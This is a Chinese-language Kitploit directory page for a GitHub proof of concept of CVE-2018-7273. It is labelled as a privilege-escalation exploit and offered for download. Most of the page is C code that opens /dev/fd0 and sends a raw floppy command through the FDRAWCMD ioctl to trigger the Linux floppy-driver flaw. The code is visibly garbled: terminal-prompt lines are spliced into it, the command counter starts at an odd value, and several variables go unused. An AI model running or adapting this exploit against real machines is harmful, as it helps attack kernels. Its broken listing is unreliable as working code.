Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-7273 | Kitploit
工具/GitHubGitHub/jedai47/cve-2018-7273
权限提升漏洞分析漏洞利用二进制利用
GitHubjedai47/cve-2018-7273

CVE-2018-7273

查看仓库
3年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <linux/kernel.h> #include <string.h> #include <sys/mman.h> #include <linux/fd.h>

static int drive_selector(int head) { return (head << 2); }

void fd_recalibrate(int fd) { struct floppy_raw_cmd raw_cmd; int tmp;

root@kitploit:~
            raw_cmd.flags = FD_RAW_INTR;
            raw_cmd.cmd_count = 2;

            // set up the command
            raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07; 
            raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0); 
            tmp = ioctl( fd, FDRAWCMD, &raw_cmd ); 
            printf("Status:%d\n",tmp); 

} int main(){ printf("Start\n"); char *d; struct floppy_raw_cmd *cmd;

root@kitploit:~
    int fd; 
    fd = open("/dev/fd0",O_RDWR | O_NDELAY); 
    fd_recalibrate(fd); 
    close(fd); 
    printf("End\n"); 
    return 0; 

}

下载工具